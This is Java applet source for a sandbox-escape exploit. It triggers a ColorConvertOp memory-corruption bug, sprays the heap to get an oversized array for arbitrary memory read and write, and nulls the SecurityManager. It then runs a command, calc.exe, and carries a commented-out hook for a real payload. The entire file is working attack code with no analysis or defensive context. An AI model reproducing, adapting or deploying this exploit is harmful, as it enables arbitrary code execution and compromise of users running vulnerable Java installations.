package fegsoft.be.hacking;

import java.applet.Applet;
import java.awt.color.ColorSpace;
import java.awt.image.BufferedImage;
import java.awt.image.ColorConvertOp;
import java.awt.image.ComponentColorModel;
import java.awt.image.ComponentSampleModel;

public class Init extends Applet {
	
    private static final long serialVersionUID = 1L;
    static final int ARRAY_MAGIC = -1341411317;
    static final int ARRAY_OLDSIZE = 11;
    static final int ARRAY_NEWSIZE = 2147483647;
    static final int LEAK_MAGIC = -559035650;
    static final int SPRAY_ARRAY_COUNT = 2808685;
    static final int SPRAY_LEAK_COUNT = 2000000;
    volatile Leak[] _sks;
    volatile int[][] _srs;
    volatile int[] _bay;
    int[] _mBoj;
    long _mBx;
    long _mBPtr;
    int[] sts;
    int[] dfs;
  
  
    public Init()
    {
        this.sts = new int[] { 0, 1, 2, 3 };
        this.dfs = new int[] { 0, 1, 2, 50000000 };
    }

    void spray() throws Exception
    {
        Runtime.getRuntime().gc();
        Runtime.getRuntime().gc();

        this._sks = new Leak[2000000];
        this._srs = new int[2808685][];
        try
        {
            for (int i = 0; i < this._srs.length; i++) {
                this._srs[i] = new int[11];
                for (int j = 0; j < this._srs[i].length; j++) {
                    this._srs[i][j] = -1341411317;
                }
            }

            for (int i = 0; i < this._sks.length; i++)
                this._sks[i] = new Leak("L");
        }
        catch (OutOfMemoryError localOutOfMemoryError)
        {
        }
    }

    void getbay() throws Exception
    {
        for (int i = 0; i < this._srs.length; i++) {
            for (int j = 0; (j < this._srs[i].length) && (j < 11); j++) {
                this._srs[i][j] = -1341411317;
            }
        }

        for (int i = 0; i < this._srs.length; i++) {
            if (this._srs[i].length != 2147483647) {
                for (int j = 0; (j < this._srs[i].length) && (j < 22); j++) {
                    if ((j > 0) && (this._srs[i][(j - 1)] != -1341411317) && (this._srs[i][j] == -1341411317)) {
                        this._srs[i][(j - 1)] = 2147483647;
                    }
                }
            }
        }

        for (int i = 0; i < this._srs.length; i++) {
            if ((this._srs[i].length == 11) || (this._bay != null) || (this._srs[i].length != 2147483647))
                continue;
            this._bay = this._srs[i];
        }

        if (this._bay == null)
            throw new Exception("fail");
    }

    long getAddress(Object obj) throws Exception
    {
        for (int i = 0; i < this._bay.length; i++) {
            if (this._bay[i] == -559035650) {
                int flag = 0;

                for (int j = 0; j < this._sks.length; j++) this._sks[j].obj = null;
                    flag += (this._bay[(i + 1)] == 0 ? 1 : 0);

                for (int j = 0; j < this._sks.length; j++) this._sks[j].obj = "X";
                    flag += (this._bay[(i + 1)] != 0 ? 1 : 0);

                if (flag == 2) {
                    for (int j = 0; j < this._sks.length; j++) this._sks[j].obj = obj;
                        return this._bay[(i + 1)];
                }
            }
        }

        throw new Exception("fail");
    }

    void getMemBase() throws Exception
    {
        for (int i = 0; i < this._srs.length; i++) {
            for (int j = 0; (j < this._srs[i].length) && (j < 11); j++) {
                this._srs[i][j] = (j == 1 ? i : -1341411317);
            }
        }

        for (int i = 0; i < this._bay.length; i++) {
            if ((i > 0) && (this._bay[(i - 1)] != -1341411317) && (this._bay[i] == -1341411317) && (this._bay[(i + 1)] != -1341411317)) {
                int len = this._bay[(i - 1)];
                int idx = this._bay[(i + 1)];
                if ((idx >= 0) && (idx < this._srs.length) && (this._srs[idx] != null) && (this._srs[idx].length == len)) {
                    this._mBoj = this._srs[idx];
                    this._mBx = i;
                    break;
                }
            }
        }

        if (this._mBoj == null) {
            throw new Exception("fail");
        }

        this._mBPtr = getAddress(this._mBoj);

        if (this._mBPtr == 0L) {
            throw new Exception("fail");
        }

        this._mBPtr += 12L;
    }

    int rdMem(long addr)
    {
        long offs = this._mBx + (addr - this._mBPtr) / 4L;
        if ((offs >= 0L) && (offs < 2147483647L)) {
            return this._bay[(int)offs];
        }
        return 0;
    }

    void wrMem(long addr, int value)
    {
        long offs = this._mBx + (addr - this._mBPtr) / 4L;
        if ((offs >= 0L) && (offs < 2147483647L))
            this._bay[(int)offs] = value;
    }

    void privileged()
    {
        try
        {
        	Runtime.getRuntime().exec("calc.exe");
           // Payload.main(null);
        } catch (Exception localException) {
            //localException.printStackTrace();
        }
    }

  
    public void init()
    {
        try
        {
            if (System.getSecurityManager() == null) {
                privileged();
                return;
            }

            int sWidth = 168; 
            int sHeight = 1;
            int spStride = 4; 
            int ssStride = spStride * sWidth;

            int dWidth = sWidth; 
            int dHeight = sHeight;
            int dpStride = 1; 
            int dsStride = 0;

            ColorSpace scs = new MCSpace(0, this.sts.length - 1);
            Object scm = new ComponentColorModel(scs, true, false, 1, 0);
            Object ssm = new ComponentSampleModel(0, sWidth, sHeight, spStride, ssStride, this.sts);
            Object sbi = new MBImage(sWidth, sHeight, 6, 0, scm, ssm);

            for (int i = 0; i < ssStride; i++) {
              ((BufferedImage) sbi).getAlphaRaster().getDataBuffer().setElem(i, 1);
              //((BufferedImage) sbi).getAlphaRaster();
              //((BufferedImage) sbi).setRGB(1, i, 1) ;  
              //((BufferedImage) sbi).getWritableTile(i, i).getDataBuffer().setElem(i, 1);
              //((BufferedImage) sbi).getData().getDataBuffer().setElem(i, 1);
              
            }

            ColorSpace dcs = new MCSpace(0, this.dfs.length - 1);
            Object dcm = new ComponentColorModel(dcs, true, false, 1, 0);
            Object dsm = new ComponentSampleModel(0, dWidth, dHeight, dpStride, dsStride, this.dfs);
            Object dbi = new MBImage(sWidth, sHeight, 10, 0, dcm, dsm);

            ColorConvertOp cco = new ColorConvertOp(null);

            spray();
            try
            {
                cco.filter((BufferedImage) sbi, (BufferedImage) dbi);
            }
            catch (Exception localException) { }
            getbay();

            getMemBase();

            long sys = getAddress(System.class);
            long sm = getAddress(System.getSecurityManager());
            sys = rdMem(sys + 4L);
            for (int i = 0; i < 2000000; i++) {
                long addr = sys + i * 4;
                int val = rdMem(addr);
                if (val == sm) {
                    wrMem(addr, 0);
                    if (System.getSecurityManager() == null) {
                        break;
                    }
                }
            }
            privileged();
        }
        catch (Exception localException1)
        {
        }
    }


}
